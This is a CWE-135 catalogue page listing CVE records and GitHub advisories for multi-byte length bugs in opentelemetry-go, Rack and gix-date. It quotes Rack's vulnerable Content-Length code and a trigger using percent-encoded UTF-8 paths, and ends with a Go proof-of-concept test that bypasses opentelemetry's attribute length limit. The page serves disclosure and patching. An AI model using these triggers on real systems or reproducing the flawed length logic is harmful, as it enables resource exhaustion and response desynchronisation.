Common Weakness Enumeration

CWE-135

Allowed

Incorrect Calculation of Multi-Byte String Length

Abstraction: Base · Status: Draft

The product does not correctly calculate the length of strings that can contain wide or multi-byte characters.

5 vulnerabilities reference this CWE, most recent first.

CVE-2026-128085 (GCVE-0-2026-128085)

Vulnerability from cvelistv5 – Published: 2026-11-13 18:53 – Updated: 2026-11-13 18:53
VLAI
Title
opentelemetry-go: AttributeValueLengthLimit is fully bypassed by attribute values composed of valid U+FFFD runes
Summary
OpenTelemetry-Go is the Go implementation of OpenTelemetry. From SDK version 1.33.0, SDK log version 0.9.0, and trace version 1.35.0 until version 1.47.0, the AttributeValueLengthLimit and WithAttributeValueLengthLimit truncation paths in sdk/internal/attrnorm, sdk/log/internal/attrnorm, and trace/auto.go do not count valid U+FFFD replacement characters. This is a distinct incomplete-fix defect in the replacement truncation code introduced by the remediation for CVE-2026-81869. Values composed of or dominated by those characters can therefore exceed the configured character and memory bound in span, log-record, and auto-instrumentation trace attributes. Attacker-controlled telemetry attributes can increase retained memory and pipeline pressure, while confidentiality and integrity are not affected. This issue is fixed in version 1.47.0.
CWE
  • CWE-135 - Incorrect Calculation of Multi-Byte String Length
  • CWE-770 - Allocation of Resources Without Limits or Throttling
Show details on NVD website

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "opentelemetry-go",
          "vendor": "open-telemetry",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.9.0, \u003c 1.47.0"
            }
          ]
        },
        {
          "product": "go.opentelemetry.io/otel/sdk",
          "vendor": "open-telemetry",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.33.0, \u003c 1.47.0"
            }
          ]
        },
        {
          "product": "go.opentelemetry.io/otel/sdk",
          "vendor": "open-telemetry",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.9.0, \u003c 1.47.0"
            }
          ]
        },
        {
          "product": "go.opentelemetry.io/otel/sdk",
          "vendor": "open-telemetry",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.35.0, \u003c 1.47.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "OpenTelemetry-Go is the Go implementation of OpenTelemetry. From SDK version 1.33.0, SDK log version 0.9.0, and trace version 1.35.0 until version 1.47.0, the AttributeValueLengthLimit and WithAttributeValueLengthLimit truncation paths in sdk/internal/attrnorm, sdk/log/internal/attrnorm, and trace/auto.go do not count valid U+FFFD replacement characters. This is a distinct incomplete-fix defect in the replacement truncation code introduced by the remediation for CVE-2026-81869. Values composed of or dominated by those characters can therefore exceed the configured character and memory bound in span, log-record, and auto-instrumentation trace attributes. Attacker-controlled telemetry attributes can increase retained memory and pipeline pressure, while confidentiality and integrity are not affected. This issue is fixed in version 1.47.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-135",
              "description": "CWE-135: Incorrect Calculation of Multi-Byte String Length",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-770",
              "description": "CWE-770: Allocation of Resources Without Limits or Throttling",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-13T18:53:14.393Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-q7gw-24fr-5p69",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-q7gw-24fr-5p69"
        },
        {
          "name": "https://github.com/open-telemetry/opentelemetry-go/commit/017b08c7f1018b619991aaf6b2299d4beb9da1d3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/open-telemetry/opentelemetry-go/commit/017b08c7f1018b619991aaf6b2299d4beb9da1d3"
        },
        {
          "name": "https://github.com/open-telemetry/opentelemetry-go/releases/tag/sdk/log/v1.47.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/open-telemetry/opentelemetry-go/releases/tag/sdk/log/v1.47.0"
        },
        {
          "name": "https://github.com/open-telemetry/opentelemetry-go/releases/tag/sdk/v1.47.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/open-telemetry/opentelemetry-go/releases/tag/sdk/v1.47.0"
        },
        {
          "name": "https://github.com/open-telemetry/opentelemetry-go/releases/tag/trace/v1.47.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/open-telemetry/opentelemetry-go/releases/tag/trace/v1.47.0"
        }
      ],
      "source": {
        "advisory": "GHSA-q7gw-24fr-5p69",
        "discovery": "UNKNOWN"
      },
      "title": "opentelemetry-go: AttributeValueLengthLimit is fully bypassed by attribute values composed of valid U+FFFD runes"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-128085",
    "datePublished": "2026-11-13T18:53:14.393Z",
    "dateReserved": "2026-11-12T21:24:51.131Z",
    "dateUpdated": "2026-11-13T18:53:14.393Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-34831 (GCVE-0-2026-34831)

Vulnerability from cvelistv5 – Published: 2026-04-02 16:43 – Updated: 2026-04-03 17:48
VLAI
Title
Rack: Content-Length mismatch in Rack::Files error responses
Summary
Rack is a modular Ruby web server interface. Prior to versions 2.2.23, 3.1.21, and 3.2.6, Rack::Files#fail sets the Content-Length response header using String#size instead of String#bytesize. When the response body contains multibyte UTF-8 characters, the declared Content-Length is smaller than the number of bytes actually sent on the wire. Because Rack::Files reflects the requested path in 404 responses, an attacker can trigger this mismatch by requesting a non-existent path containing percent-encoded UTF-8 characters. This results in incorrect HTTP response framing and may cause response desynchronization in deployments that rely on the incorrect Content-Length value. This issue has been patched in versions 2.2.23, 3.1.21, and 3.2.6.
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-04-03 17:43 UTC
CWE
  • CWE-130 - Improper Handling of Length Parameter Inconsistency
  • CWE-135 - Incorrect Calculation of Multi-Byte String Length
References
Impacted products
Vendor Product Version
rack rack Affected: < 2.2.23
Affected: >= 3.0.0.beta1, < 3.1.21
Affected: >= 3.2.0, < 3.2.6
Create a notification for this product.
Show details on NVD website

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-34831",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-03T17:43:52.462237Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-03T17:48:11.330Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "rack",
          "vendor": "rack",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.2.23"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.0.0.beta1, \u003c 3.1.21"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.2.0, \u003c 3.2.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Rack is a modular Ruby web server interface. Prior to versions 2.2.23, 3.1.21, and 3.2.6, Rack::Files#fail sets the Content-Length response header using String#size instead of String#bytesize. When the response body contains multibyte UTF-8 characters, the declared Content-Length is smaller than the number of bytes actually sent on the wire. Because Rack::Files reflects the requested path in 404 responses, an attacker can trigger this mismatch by requesting a non-existent path containing percent-encoded UTF-8 characters. This results in incorrect HTTP response framing and may cause response desynchronization in deployments that rely on the incorrect Content-Length value. This issue has been patched in versions 2.2.23, 3.1.21, and 3.2.6."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.8,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-130",
              "description": "CWE-130: Improper Handling of Length Parameter Inconsistency",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-135",
              "description": "CWE-135: Incorrect Calculation of Multi-Byte String Length",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-02T16:43:08.762Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/rack/rack/security/advisories/GHSA-q2ww-5357-x388",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/rack/rack/security/advisories/GHSA-q2ww-5357-x388"
        }
      ],
      "source": {
        "advisory": "GHSA-q2ww-5357-x388",
        "discovery": "UNKNOWN"
      },
      "title": "Rack: Content-Length mismatch in Rack::Files error responses"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-34831",
    "datePublished": "2026-04-02T16:43:08.762Z",
    "dateReserved": "2026-03-30T20:52:53.284Z",
    "dateUpdated": "2026-04-03T17:48:11.330Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-0810 (GCVE-0-2026-0810)

Vulnerability from cvelistv5 – Published: 2026-01-26 19:36 – Updated: 2026-11-05 16:10
VLAI
Title
Gix-date: gix-date: undefined behavior due to invalid string generation
Summary
A flaw was found in gix-date. The `gix_date::parse::TimeBuf::as_str` function can generate strings containing invalid non-UTF8 characters. This issue violates the internal safety invariants of the `TimeBuf` component, leading to undefined behavior when these malformed strings are subsequently processed. This could potentially result in application instability or other unforeseen consequences.
SSVC
Exploitation: poc Automatable: no Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-03-04 19:05 UTC
CWE
  • CWE-135 - Incorrect Calculation of Multi-Byte String Length
Date Public
2025-12-29 12:00
Show details on NVD website

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-0810",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-04T19:05:14.997655Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-04T19:05:48.204Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/GitoxideLabs/gitoxide/issues/2305"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://github.com/GitoxideLabs/gitoxide",
          "defaultStatus": "unaffected",
          "packageName": "gix-date",
          "product": "gitoxide",
          "vendor": "GitoxideLabs",
          "versions": [
            {
              "lessThan": "0.12.0",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:logging:5"
          ],
          "defaultStatus": "unknown",
          "packageName": "openshift-logging/cluster-logging-operator-bundle",
          "product": "Logging Subsystem for Red Hat OpenShift",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:logging:5"
          ],
          "defaultStatus": "unknown",
          "packageName": "openshift-logging/cluster-logging-rhel9-operator",
          "product": "Logging Subsystem for Red Hat OpenShift",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:logging:5"
          ],
          "defaultStatus": "unknown",
          "packageName": "openshift-logging/eventrouter-rhel9",
          "product": "Logging Subsystem for Red Hat OpenShift",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:logging:5"
          ],
          "defaultStatus": "unknown",
          "packageName": "openshift-logging/fluentd-rhel9",
          "product": "Logging Subsystem for Red Hat OpenShift",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:logging:5"
          ],
          "defaultStatus": "unknown",
          "packageName": "openshift-logging/log-file-metric-exporter-rhel9",
          "product": "Logging Subsystem for Red Hat OpenShift",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:logging:5"
          ],
          "defaultStatus": "unknown",
          "packageName": "openshift-logging/logging-view-plugin-rhel9",
          "product": "Logging Subsystem for Red Hat OpenShift",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:logging:5"
          ],
          "defaultStatus": "unknown",
          "packageName": "openshift-logging/vector-rhel9",
          "product": "Logging Subsystem for Red Hat OpenShift",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:enterprise_linux:10"
          ],
          "defaultStatus": "unaffected",
          "packageName": "rust",
          "product": "Red Hat Enterprise Linux 10",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:enterprise_linux:8"
          ],
          "defaultStatus": "unaffected",
          "packageName": "rust-toolset:rhel8/rust",
          "product": "Red Hat Enterprise Linux 8",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:enterprise_linux:9"
          ],
          "defaultStatus": "unaffected",
          "packageName": "rust",
          "product": "Red Hat Enterprise Linux 9",
          "vendor": "Red Hat"
        }
      ],
      "datePublic": "2025-12-29T12:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "A flaw was found in gix-date. The `gix_date::parse::TimeBuf::as_str` function can generate strings containing invalid non-UTF8 characters. This issue violates the internal safety invariants of the `TimeBuf` component, leading to undefined behavior when these malformed strings are subsequently processed. This could potentially result in application instability or other unforeseen consequences."
        }
      ],
      "metrics": [
        {
          "other": {
            "content": {
              "namespace": "https://access.redhat.com/security/updates/classification/",
              "value": "Moderate"
            },
            "type": "Red Hat severity rating"
          }
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-135",
              "description": "Incorrect Calculation of Multi-Byte String Length",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-05T16:10:49.082Z",
        "orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
        "shortName": "redhat"
      },
      "references": [
        {
          "tags": [
            "vdb-entry",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/security/cve/CVE-2026-0810"
        },
        {
          "name": "RHBZ#2427057",
          "tags": [
            "issue-tracking",
            "x_refsource_REDHAT"
          ],
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2427057"
        },
        {
          "url": "https://crates.io/crates/gix-date"
        },
        {
          "url": "https://github.com/GitoxideLabs/gitoxide/issues/2305"
        },
        {
          "url": "https://rustsec.org/advisories/RUSTSEC-2025-0140.html"
        }
      ],
      "timeline": [
        {
          "lang": "en",
          "time": "2026-01-04T21:06:23.302Z",
          "value": "Reported to Red Hat."
        },
        {
          "lang": "en",
          "time": "2025-12-29T12:00:00.000Z",
          "value": "Made public."
        }
      ],
      "title": "Gix-date: gix-date: undefined behavior due to invalid string generation",
      "workarounds": [
        {
          "lang": "en",
          "value": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability."
        }
      ],
      "x_generator": {
        "engine": "cvelib 1.8.0"
      },
      "x_redhatCweChain": "CWE-135: Incorrect Calculation of Multi-Byte String Length"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
    "assignerShortName": "redhat",
    "cveId": "CVE-2026-0810",
    "datePublished": "2026-01-26T19:36:45.705Z",
    "dateReserved": "2026-01-09T15:01:06.978Z",
    "dateUpdated": "2026-11-05T16:10:49.082Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-Q2WW-5357-X388

Vulnerability from github – Published: 2026-04-02 20:36 – Updated: 2026-05-13 16:19
VLAI
Summary
Rack has Content-Length mismatch in Rack::Files error responses
Details

Summary

Rack::Files#fail sets the Content-Length response header using String#size instead of String#bytesize. When the response body contains multibyte UTF-8 characters, the declared Content-Length is smaller than the number of bytes actually sent on the wire.

Because Rack::Files reflects the requested path in 404 responses, an attacker can trigger this mismatch by requesting a non-existent path containing percent-encoded UTF-8 characters.

This results in incorrect HTTP response framing and may cause response desynchronization in deployments that rely on the incorrect Content-Length value.

Details

Rack::Files#fail constructs error responses using logic equivalent to:

def fail(status, body, headers = {})
  body += "\n"
  [
    status,
    {
      "content-type" => "text/plain",
      "content-length" => body.size.to_s,
      "x-cascade" => "pass"
    }.merge!(headers),
    [body]
  ]
end

Here, body.size returns the number of characters, not the number of bytes. For multibyte UTF-8 strings, this produces an incorrect Content-Length value.

Rack::Files includes the decoded request path in 404 responses. A request containing percent-encoded UTF-8 path components therefore causes the response body to contain multibyte characters, while the Content-Length header still reflects character count rather than byte count.

As a result, the server can send more bytes than declared in the response headers.

This violates HTTP message framing requirements, which define Content-Length as the number of octets in the message body.

Impact

Applications using Rack::Files may emit incorrectly framed error responses when handling requests for non-existent paths containing multibyte characters.

In some deployment topologies, particularly with keep-alive connections and intermediaries that rely on Content-Length, this mismatch may lead to response parsing inconsistencies or response desynchronization. The practical exploitability depends on the behavior of downstream proxies, clients, and connection reuse.

Even where no secondary exploitation is possible, the response is malformed and may trigger protocol errors in strict components.

Mitigation

  • Update to a patched version of Rack that computes Content-Length using String#bytesize.
  • Avoid exposing Rack::Files directly to untrusted traffic until a fix is available, if operationally feasible.
  • Where possible, place Rack behind a proxy or server that normalizes or rejects malformed backend responses.
  • Prefer closing backend connections on error paths if response framing anomalies are a concern.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0.beta1"
            },
            {
              "fixed": "3.1.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "3.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34831"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-130",
      "CWE-135"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-02T20:36:10Z",
    "nvd_published_at": "2026-04-02T17:16:26Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`Rack::Files#fail` sets the `Content-Length` response header using `String#size` instead of `String#bytesize`. When the response body contains multibyte UTF-8 characters, the declared `Content-Length` is smaller than the number of bytes actually sent on the wire.\n\nBecause `Rack::Files` reflects the requested path in 404 responses, an attacker can trigger this mismatch by requesting a non-existent path containing percent-encoded UTF-8 characters.\n\nThis results in incorrect HTTP response framing and may cause response desynchronization in deployments that rely on the incorrect `Content-Length` value.\n\n## Details\n\n`Rack::Files#fail` constructs error responses using logic equivalent to:\n\n```ruby\ndef fail(status, body, headers = {})\n  body += \"\\n\"\n  [\n    status,\n    {\n      \"content-type\" =\u003e \"text/plain\",\n      \"content-length\" =\u003e body.size.to_s,\n      \"x-cascade\" =\u003e \"pass\"\n    }.merge!(headers),\n    [body]\n  ]\nend\n```\n\nHere, `body.size` returns the number of characters, not the number of bytes. For multibyte UTF-8 strings, this produces an incorrect `Content-Length` value.\n\n`Rack::Files` includes the decoded request path in 404 responses. A request containing percent-encoded UTF-8 path components therefore causes the response body to contain multibyte characters, while the `Content-Length` header still reflects character count rather than byte count.\n\nAs a result, the server can send more bytes than declared in the response headers.\n\nThis violates HTTP message framing requirements, which define `Content-Length` as the number of octets in the message body.\n\n## Impact\n\nApplications using `Rack::Files` may emit incorrectly framed error responses when handling requests for non-existent paths containing multibyte characters.\n\nIn some deployment topologies, particularly with keep-alive connections and intermediaries that rely on `Content-Length`, this mismatch may lead to response parsing inconsistencies or response desynchronization. The practical exploitability depends on the behavior of downstream proxies, clients, and connection reuse.\n\nEven where no secondary exploitation is possible, the response is malformed and may trigger protocol errors in strict components.\n\n## Mitigation\n\n* Update to a patched version of Rack that computes `Content-Length` using `String#bytesize`.\n* Avoid exposing `Rack::Files` directly to untrusted traffic until a fix is available, if operationally feasible.\n* Where possible, place Rack behind a proxy or server that normalizes or rejects malformed backend responses.\n* Prefer closing backend connections on error paths if response framing anomalies are a concern.",
  "id": "GHSA-q2ww-5357-x388",
  "modified": "2026-05-13T16:19:10Z",
  "published": "2026-04-02T20:36:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/security/advisories/GHSA-q2ww-5357-x388"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34831"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rack/rack"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2026-34831.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Rack has Content-Length mismatch in Rack::Files error responses"
}

GHSA-Q7GW-24FR-5P69

Vulnerability from github – Published: 2026-11-13 19:00 – Updated: 2026-11-13 19:00
VLAI
Summary
opentelemetry-go: AttributeValueLengthLimit is fully bypassed by attribute values composed of valid U+FFFD runes
Details

Summary

The AttributeValueLengthLimit span/log-record limit can be bypassed entirely with attribute values that consist of valid U+FFFD (REPLACEMENT CHARACTER) runes. The counting-based truncation introduced by the fix for GHSA-p9f8-wvj8-2fg8 (commit e016a78c9, first released in v1.33.0) has an "optimistic" fast path that skips every U+FFFD without counting it and without falling back to the correct slow path. A value of 1000 U+FFFD runes (3000 bytes) is stored verbatim even with a limit of 5 characters (15 bytes). The same defect affects the attribute truncation paths in go.opentelemetry.io/otel/sdk/trace (sdk/internal/attrnorm), go.opentelemetry.io/otel/sdk/log (sdk/log/internal/attrnorm), and the auto-instrumentation tracer in go.opentelemetry.io/otel/trace (trace/auto.go, introduced in v1.35.0).

This is an incomplete-fix issue: it is a distinct defect in the replacement code that GHSA-p9f8-wvj8-2fg8 introduced, affecting exactly the versions that advisory says are fixed (>= v1.33.0). The original advisory covers only the pre-v1.33.0 code.

Details

The shared truncation helper is generated from internal/shared/attrnorm/truncate.go.tmpl. In the v1.46.0 release, the generated copies are sdk/internal/attrnorm/truncate.go and sdk/log/internal/attrnorm/truncate.go (identical logic, different package names). The optimistic path (v1.46.0, sdk/internal/attrnorm/truncate.go:175-199) is:

// Optimistically, assume all valid UTF-8.
var b strings.Builder
count := 0
for i, c := range s {
    if c != utf8.RuneError {
        count++
        if count > limit {
            return s[:i]
        }
        continue
    }
    _, size := utf8.DecodeRuneInString(s[i:])
    if size == 1 {
        // invalid encoding: fall through to the correct slow path
        ...
        break
    }
}

range over a string yields utf8.RuneError both for invalid bytes (size 1) and for a legitimately encoded U+FFFD (size 3). Only the size-1 case enters the slow path. A valid U+FFFD rune is therefore neither counted nor truncating: the loop slides over it. Consequences:

  1. A value made only of valid U+FFFD runes never increments count, so no truncation ever triggers and the value is returned unchanged, whatever its length.
  2. In a mixed string, every U+FFFD contributes 3 bytes that are not counted, and the final return s[:i] keeps all previously skipped U+FFFD runes, so the retained size grows linearly with the number of U+FFFD runes and is not bounded by limit.

The OpenTelemetry specification states that truncation applies "counting any character in it as 1". A valid U+FFFD is one character and must count as 1; here it counts as 0. The regression test suite of the repository contains no U+FFFD case, which is why this went unnoticed.

Call chains (v1.46.0):

  • trace: span.SetAttributes -> sdk/trace/span.go (normAttr) -> attrnorm.Truncate -> sdk/internal/attrnorm/truncate.go (truncate)
  • log: Record.AddAttributes / SetAttributes -> sdk/log/record.go (attrnorm.TruncateValue) -> sdk/log/internal/attrnorm/truncate.go (truncate)

Deduplication: GHSA-p9f8-wvj8-2fg8 describes the pre-v1.33.0 helper (safeTruncateValidUTF8), which gave up truncating entirely for strings containing RuneError. The rewrite in e016a78c9 replaced that code; this report concerns the rewritten code, is present only in versions that the advisory lists as fixed, and no public issue or advisory describes it.

PoC

Minimal reproduction with the published release (no repository checkout needed). Go 1.25+ is required (the release declares go 1.25.0; any recent toolchain auto-selects one).

Create a directory with these files.

go.mod (then run go mod tidy once to fill go.sum):

module otelpoc

go 1.25.0

require (
    go.opentelemetry.io/otel v1.46.0
    go.opentelemetry.io/otel/log v0.22.0
    go.opentelemetry.io/otel/sdk v1.46.0
    go.opentelemetry.io/otel/sdk/log v0.22.0
    go.opentelemetry.io/otel/trace v1.46.0
)

otelgo_truncate_test.go:

package otelpoc

import (
    "context"
    "strings"
    "testing"
    "unicode/utf8"

    "go.opentelemetry.io/otel/attribute"
    sdktrace "go.opentelemetry.io/otel/sdk/trace"
    "go.opentelemetry.io/otel/sdk/trace/tracetest"
    "go.opentelemetry.io/otel/trace"
)

// limitsWithLen returns span limits with AttributeValueLengthLimit=limit and
// everything else unlimited, isolating the length-limit enforcement under test.
func limitsWithLen(limit int) sdktrace.SpanLimits {
    lim := sdktrace.NewSpanLimits()
    lim.AttributeValueLengthLimit = limit
    lim.AttributeCountLimit = -1
    lim.AttributePerEventCountLimit = -1
    lim.AttributePerLinkCountLimit = -1
    lim.EventCountLimit = -1
    lim.LinkCountLimit = -1
    return lim
}

func captureOneSpan(t *testing.T, limit int, attrs ...attribute.KeyValue) []attribute.KeyValue {
    t.Helper()
    sr := tracetest.NewSpanRecorder()
    tp := sdktrace.NewTracerProvider(
        sdktrace.WithSpanProcessor(sr),
        sdktrace.WithSpanLimits(limitsWithLen(limit)),
    )
    defer func() { _ = tp.Shutdown(context.Background()) }()

    tr := tp.Tracer("poc")
    _, span := tr.Start(context.Background(), "op")
    span.SetAttributes(attrs...)
    span.End()

    ended := sr.Ended()
    if len(ended) != 1 {
        t.Fatalf("expected 1 ended span, got %d", len(ended))
    }
    return ended[0].Attributes()
}

// TestOT001_FFFDOnlyStringBypassesTraceLengthLimit demonstrates that a string
// attribute composed of valid U+FFFD runes is stored completely untruncated
// although AttributeValueLengthLimit=5.
func TestOT001_FFFDOnlyStringBypassesTraceLengthLimit(t *testing.T) {
    const limit = 5
    val := strings.Repeat("\uFFFD", 1000) // 1000 chars, 3000 bytes

    got := captureOneSpan(t, limit, attribute.String("k", val))
    if len(got) != 1 {
        t.Fatalf("expected 1 attribute, got %d", len(got))
    }
    stored := got[0].Value.AsString()
    t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d",
        utf8.RuneCountInString(val), len(val),
        utf8.RuneCountInString(stored), len(stored), limit)
    // Per OTel spec ("counting any character in it as 1") the stored value
    // must be at most `limit` characters (<= 15 bytes for U+FFFD).
    if maxBytes := 3 * limit; len(stored) > maxBytes {
        t.Fatalf("BYPASS: AttributeValueLengthLimit=%d but %d bytes stored (expected <=%d)",
            limit, len(stored), maxBytes)
    }
}

